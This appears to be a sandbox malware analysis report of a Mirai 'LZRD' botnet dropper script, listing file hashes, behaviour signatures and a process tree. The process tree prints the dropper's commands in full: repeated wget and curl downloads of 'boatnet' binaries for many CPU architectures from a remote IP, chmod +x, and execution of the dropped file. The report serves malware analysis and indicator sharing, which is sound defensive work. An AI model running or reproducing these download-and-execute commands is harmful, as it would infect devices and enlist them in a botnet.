Analysis

  • max time kernel
    150s
  • max time network
    148s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240226-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    31-12-2024 02:41

General

  • Target

    938aa70dc932c5e04d7b26226591bfa9c18180421958613bac79c72fbcd3145c.sh

  • Size

    2KB

  • MD5

    7e24e03c8d6c1bafbc85a32aa065853f

  • SHA1

    1399f7b9e79afa7fb910eb61f8e7d10b36c64310

  • SHA256

    938aa70dc932c5e04d7b26226591bfa9c18180421958613bac79c72fbcd3145c

  • SHA512

    0975c2aaae90e309467a37d38bdb48790c56c7efdfe9ad82a69c93d8cd2d25f4eee4e741222b1d455e04913e69380d52f81efe6c1b025e9ef1fd872a0fcac521

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Mirai family
  • File and Directory Permissions Modification 1 TTPs 15 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 15 IoCs
  • Modifies Watchdog functionality 1 TTPs 2 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Writes file to system bin folder 2 IoCs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Reads runtime system information 59 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 3 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 28 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/938aa70dc932c5e04d7b26226591bfa9c18180421958613bac79c72fbcd3145c.sh
    /tmp/938aa70dc932c5e04d7b26226591bfa9c18180421958613bac79c72fbcd3145c.sh
    1⤵
    • Writes file to tmp directory
    PID:696
    • /usr/bin/wget
      wget http://154.216.17.216/hiddenbin/boatnet.x86
      2⤵
      • Writes file to tmp directory
      PID:700
    • /usr/bin/curl
      curl -O http://154.216.17.216/hiddenbin/boatnet.x86
      2⤵
      • Reads runtime system information
      • Writes file to tmp directory
      PID:711
    • /bin/cat
      cat boatnet.x86
      2⤵
        PID:721
      • /bin/chmod
        chmod +x 938aa70dc932c5e04d7b26226591bfa9c18180421958613bac79c72fbcd3145c.sh boatnet.x86 systemd-private-42ed966197544e9a9b633d1a3102be49-systemd-timedated.service-58o8MR WTF
        2⤵
        • File and Directory Permissions Modification
        PID:723
      • /tmp/WTF
        ./WTF
        2⤵
        • Executes dropped EXE
        PID:724
      • /usr/bin/wget
        wget http://154.216.17.216/hiddenbin/boatnet.mips
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:728
      • /usr/bin/curl
        curl -O http://154.216.17.216/hiddenbin/boatnet.mips
        2⤵
        • Reads runtime system information
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:731
      • /bin/cat
        cat boatnet.mips
        2⤵
        • System Network Configuration Discovery
        PID:732
      • /bin/chmod
        chmod +x 938aa70dc932c5e04d7b26226591bfa9c18180421958613bac79c72fbcd3145c.sh boatnet.mips boatnet.x86 systemd-private-42ed966197544e9a9b633d1a3102be49-systemd-timedated.service-58o8MR WTF
        2⤵
        • File and Directory Permissions Modification
        PID:733
      • /tmp/WTF
        ./WTF
        2⤵
        • Executes dropped EXE
        PID:734
      • /usr/bin/wget
        wget http://154.216.17.216/hiddenbin/boatnet.arc
        2⤵
        • Writes file to tmp directory
        PID:736
      • /usr/bin/curl
        curl -O http://154.216.17.216/hiddenbin/boatnet.arc
        2⤵
        • Reads runtime system information
        • Writes file to tmp directory
        PID:737
      • /bin/cat
        cat boatnet.arc
        2⤵
          PID:738
        • /bin/chmod
          chmod +x 938aa70dc932c5e04d7b26226591bfa9c18180421958613bac79c72fbcd3145c.sh boatnet.arc boatnet.mips boatnet.x86 systemd-private-42ed966197544e9a9b633d1a3102be49-systemd-timedated.service-58o8MR WTF
          2⤵
          • File and Directory Permissions Modification
          PID:739
        • /tmp/WTF
          ./WTF
          2⤵
          • Executes dropped EXE
          PID:740
        • /usr/bin/wget
          wget http://154.216.17.216/hiddenbin/boatnet.i468
          2⤵
            PID:742
          • /usr/bin/curl
            curl -O http://154.216.17.216/hiddenbin/boatnet.i468
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:743
          • /bin/cat
            cat boatnet.i468
            2⤵
              PID:748
            • /bin/chmod
              chmod +x 938aa70dc932c5e04d7b26226591bfa9c18180421958613bac79c72fbcd3145c.sh boatnet.arc boatnet.i468 boatnet.mips boatnet.x86 systemd-private-42ed966197544e9a9b633d1a3102be49-systemd-timedated.service-58o8MR WTF
              2⤵
              • File and Directory Permissions Modification
              PID:749
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              PID:751
            • /usr/bin/wget
              wget http://154.216.17.216/hiddenbin/boatnet.i686
              2⤵
                PID:753
              • /usr/bin/curl
                curl -O http://154.216.17.216/hiddenbin/boatnet.i686
                2⤵
                • Reads runtime system information
                • Writes file to tmp directory
                PID:757
              • /bin/cat
                cat boatnet.i686
                2⤵
                  PID:767
                • /bin/chmod
                  chmod +x 938aa70dc932c5e04d7b26226591bfa9c18180421958613bac79c72fbcd3145c.sh boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 WTF
                  2⤵
                  • File and Directory Permissions Modification
                  PID:768
                • /tmp/WTF
                  ./WTF
                  2⤵
                  • Executes dropped EXE
                  PID:770
                • /usr/bin/wget
                  wget http://154.216.17.216/hiddenbin/boatnet.x86_64
                  2⤵
                    PID:771
                  • /usr/bin/curl
                    curl -O http://154.216.17.216/hiddenbin/boatnet.x86_64
                    2⤵
                    • Reads runtime system information
                    • Writes file to tmp directory
                    PID:776
                  • /bin/cat
                    cat boatnet.x86_64
                    2⤵
                      PID:783
                    • /bin/chmod
                      chmod +x 938aa70dc932c5e04d7b26226591bfa9c18180421958613bac79c72fbcd3145c.sh boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 boatnet.x86_64 WTF
                      2⤵
                      • File and Directory Permissions Modification
                      PID:784
                    • /tmp/WTF
                      ./WTF
                      2⤵
                      • Executes dropped EXE
                      PID:786
                    • /usr/bin/wget
                      wget http://154.216.17.216/hiddenbin/boatnet.mpsl
                      2⤵
                      • Writes file to tmp directory
                      PID:788
                    • /usr/bin/curl
                      curl -O http://154.216.17.216/hiddenbin/boatnet.mpsl
                      2⤵
                      • Reads runtime system information
                      • Writes file to tmp directory
                      PID:795
                    • /bin/cat
                      cat boatnet.mpsl
                      2⤵
                        PID:805
                      • /bin/chmod
                        chmod +x 938aa70dc932c5e04d7b26226591bfa9c18180421958613bac79c72fbcd3145c.sh boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 WTF
                        2⤵
                        • File and Directory Permissions Modification
                        PID:806
                      • /tmp/WTF
                        ./WTF
                        2⤵
                        • Executes dropped EXE
                        • Modifies Watchdog functionality
                        • Writes file to system bin folder
                        • Reads runtime system information
                        PID:807
                      • /usr/bin/wget
                        wget http://154.216.17.216/hiddenbin/boatnet.arm
                        2⤵
                        • Writes file to tmp directory
                        PID:812
                      • /usr/bin/curl
                        curl -O http://154.216.17.216/hiddenbin/boatnet.arm
                        2⤵
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:814
                      • /bin/cat
                        cat boatnet.arm
                        2⤵
                          PID:815
                        • /bin/chmod
                          chmod +x 938aa70dc932c5e04d7b26226591bfa9c18180421958613bac79c72fbcd3145c.sh boatnet.arc boatnet.arm boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 WTF
                          2⤵
                          • File and Directory Permissions Modification
                          PID:816
                        • /tmp/WTF
                          ./WTF
                          2⤵
                          • Executes dropped EXE
                          PID:817
                        • /usr/bin/wget
                          wget http://154.216.17.216/hiddenbin/boatnet.arm5
                          2⤵
                          • Writes file to tmp directory
                          PID:819
                        • /usr/bin/curl
                          curl -O http://154.216.17.216/hiddenbin/boatnet.arm5
                          2⤵
                          • Reads runtime system information
                          • Writes file to tmp directory
                          PID:820
                        • /bin/cat
                          cat boatnet.arm5
                          2⤵
                            PID:821
                          • /bin/chmod
                            chmod +x 938aa70dc932c5e04d7b26226591bfa9c18180421958613bac79c72fbcd3145c.sh boatnet.arc boatnet.arm boatnet.arm5 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 WTF
                            2⤵
                            • File and Directory Permissions Modification
                            PID:822
                          • /tmp/WTF
                            ./WTF
                            2⤵
                            • Executes dropped EXE
                            PID:823
                          • /usr/bin/wget
                            wget http://154.216.17.216/hiddenbin/boatnet.arm6
                            2⤵
                            • Writes file to tmp directory
                            PID:825
                          • /usr/bin/curl
                            curl -O http://154.216.17.216/hiddenbin/boatnet.arm6
                            2⤵
                            • Reads runtime system information
                            • Writes file to tmp directory
                            PID:826
                          • /bin/cat
                            cat boatnet.arm6
                            2⤵
                              PID:834
                            • /bin/chmod
                              chmod +x 938aa70dc932c5e04d7b26226591bfa9c18180421958613bac79c72fbcd3145c.sh boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 WTF
                              2⤵
                              • File and Directory Permissions Modification
                              PID:836
                            • /tmp/WTF
                              ./WTF
                              2⤵
                              • Executes dropped EXE
                              PID:837
                            • /usr/bin/wget
                              wget http://154.216.17.216/hiddenbin/boatnet.arm7
                              2⤵
                              • Writes file to tmp directory
                              PID:840
                            • /usr/bin/curl
                              curl -O http://154.216.17.216/hiddenbin/boatnet.arm7
                              2⤵
                              • Reads runtime system information
                              • Writes file to tmp directory
                              PID:846
                            • /bin/cat
                              cat boatnet.arm7
                              2⤵
                                PID:854
                              • /bin/chmod
                                chmod +x 938aa70dc932c5e04d7b26226591bfa9c18180421958613bac79c72fbcd3145c.sh boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 WTF
                                2⤵
                                • File and Directory Permissions Modification
                                PID:855
                              • /tmp/WTF
                                ./WTF
                                2⤵
                                • Executes dropped EXE
                                PID:857
                              • /usr/bin/wget
                                wget http://154.216.17.216/hiddenbin/boatnet.ppc
                                2⤵
                                • Writes file to tmp directory
                                PID:859
                              • /usr/bin/curl
                                curl -O http://154.216.17.216/hiddenbin/boatnet.ppc
                                2⤵
                                • Reads runtime system information
                                • Writes file to tmp directory
                                PID:866
                              • /bin/cat
                                cat boatnet.ppc
                                2⤵
                                  PID:869
                                • /bin/chmod
                                  chmod +x 938aa70dc932c5e04d7b26226591bfa9c18180421958613bac79c72fbcd3145c.sh boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.x86 boatnet.x86_64 WTF
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:870
                                • /tmp/WTF
                                  ./WTF
                                  2⤵
                                  • Executes dropped EXE
                                  PID:871
                                • /usr/bin/wget
                                  wget http://154.216.17.216/hiddenbin/boatnet.spc
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:873
                                • /usr/bin/curl
                                  curl -O http://154.216.17.216/hiddenbin/boatnet.spc
                                  2⤵
                                  • Reads runtime system information
                                  • Writes file to tmp directory
                                  PID:874
                                • /bin/cat
                                  cat boatnet.spc
                                  2⤵
                                    PID:875
                                  • /bin/chmod
                                    chmod +x 938aa70dc932c5e04d7b26226591bfa9c18180421958613bac79c72fbcd3145c.sh boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 WTF
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:876
                                  • /tmp/WTF
                                    ./WTF
                                    2⤵
                                    • Executes dropped EXE
                                    PID:877
                                  • /usr/bin/wget
                                    wget http://154.216.17.216/hiddenbin/boatnet.m68k
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:879
                                  • /usr/bin/curl
                                    curl -O http://154.216.17.216/hiddenbin/boatnet.m68k
                                    2⤵
                                    • Reads runtime system information
                                    • Writes file to tmp directory
                                    PID:880
                                  • /bin/cat
                                    cat boatnet.m68k
                                    2⤵
                                      PID:881
                                    • /bin/chmod
                                      chmod +x 938aa70dc932c5e04d7b26226591bfa9c18180421958613bac79c72fbcd3145c.sh boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 WTF
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:882
                                    • /tmp/WTF
                                      ./WTF
                                      2⤵
                                      • Executes dropped EXE
                                      PID:883
                                    • /usr/bin/wget
                                      wget http://154.216.17.216/hiddenbin/boatnet.sh4
                                      2⤵
                                      • Writes file to tmp directory
                                      PID:885
                                    • /usr/bin/curl
                                      curl -O http://154.216.17.216/hiddenbin/boatnet.sh4
                                      2⤵
                                      • Reads runtime system information
                                      • Writes file to tmp directory
                                      PID:886
                                    • /bin/cat
                                      cat boatnet.sh4
                                      2⤵
                                        PID:887
                                      • /bin/chmod
                                        chmod +x 938aa70dc932c5e04d7b26226591bfa9c18180421958613bac79c72fbcd3145c.sh boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.sh4 boatnet.spc boatnet.x86 boatnet.x86_64 WTF
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:888
                                      • /tmp/WTF
                                        ./WTF
                                        2⤵
                                        • Executes dropped EXE
                                        PID:889

                                    Network

                                    MITRE ATT&CK Enterprise v15

                                    Replay Monitor

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                                    Downloads

                                    • /tmp/WTF

                                      Filesize

                                      30KB

                                      MD5

                                      ba61381aa2f02065a84b093bedb7ff7b

                                      SHA1

                                      a4277e46a6ce63cef670171f3c06bb8783530d09

                                      SHA256

                                      00a683af920363be18187b06f45ef5dd1d3e7b3a451155a97e2de295e8740269

                                      SHA512

                                      3c452ae4956b64521b7dceac3542deb5bf957191eed011d8a7126610d9b2b280412db48b71abbc67b36c46bc8d0863f76b2d8ab74cfd000c5c6544f66b158f79

                                    • /tmp/WTF

                                      Filesize

                                      105KB

                                      MD5

                                      2883fa905bbd5524a0d527458865bc0b

                                      SHA1

                                      cb1b6ac390a4389be4721926ffc9f4745ba178fd

                                      SHA256

                                      9dc40ad9618e9ef5a0a85871ae9c8ff495c66feb0512b63327d5bd0d2c60e6b3

                                      SHA512

                                      cc8a51f0c16751595b212a63d1228d9baccb814ec5093b3d3a700cd45ea48043ec9d9e96c64327935e0400e08bd32cc6265d797e5a544c655fc7d7389dcb6172

                                    • /tmp/WTF

                                      Filesize

                                      220B

                                      MD5

                                      f1c24d9fa40a047ae22d2d3ae7dfeac9

                                      SHA1

                                      750274b02d5f5b00026a4f55b020f4285c693533

                                      SHA256

                                      219db693bfc6306868548b227030b636aaba7e2b2ad0582a8977ecef92d674bc

                                      SHA512

                                      36bd34e999eb4426823cadcf27076cf1128470e340172336ac3e3bdf3f194d0c873684f67b8d341df85eeb955e3c9dc3657ad7c5f05525e5c254476605d5b259

                                    • /tmp/WTF

                                      Filesize

                                      220B

                                      MD5

                                      a8f502a6fb3b7b940e922c951d9e493a

                                      SHA1

                                      fa94d6dade6bb7537ee3f58f2984b80f4b02dcdf

                                      SHA256

                                      748429c25463cc890809a866bfe2cb313f072be73bf5ea88fb4f65e26aa97bec

                                      SHA512

                                      e4ada74640d3ad58a6181ab1cd05fadd584788806908b00cf80924a19f29118a17f581d72d9abf1aa207f83d1e4ab163ea6c0c1e0ee6f2e211d1e0d366a27338

                                    • /tmp/WTF

                                      Filesize

                                      71KB

                                      MD5

                                      cfa4015b7d06cacea0dd56d6cbc540e6

                                      SHA1

                                      5bd539a214d54dc93a7086a525ad3837c523ebc8

                                      SHA256

                                      cfe2633c1e807c816ee2cf39b9a1be91465af314078771f83174eccbffdfed69

                                      SHA512

                                      5336ce61fa34edefca3ea7046649bec05fe0547959bde3a95fa33f439c9498be227896efaa44157bdf2243f2a97d0f288c6e5a863e4109cbef9feae1057f2b6a

                                    • /tmp/boatnet.x86

                                      Filesize

                                      27KB

                                      MD5

                                      b9946dfcdc347f2081666e3502b3e0c1

                                      SHA1

                                      6de9dc290b4764fc14d38a581f15f995272d1760

                                      SHA256

                                      4ff8dbffec454937c38216cdf4824b9f78c704fdf5a965722a4fcffc4c034cd4

                                      SHA512

                                      9837bca34f760fdd434f79c666f34ec673ccd93b99541008da4648deda56974525da8a421e4f7a9569b5b33302006267d852a37eba35c86627d034c521298d32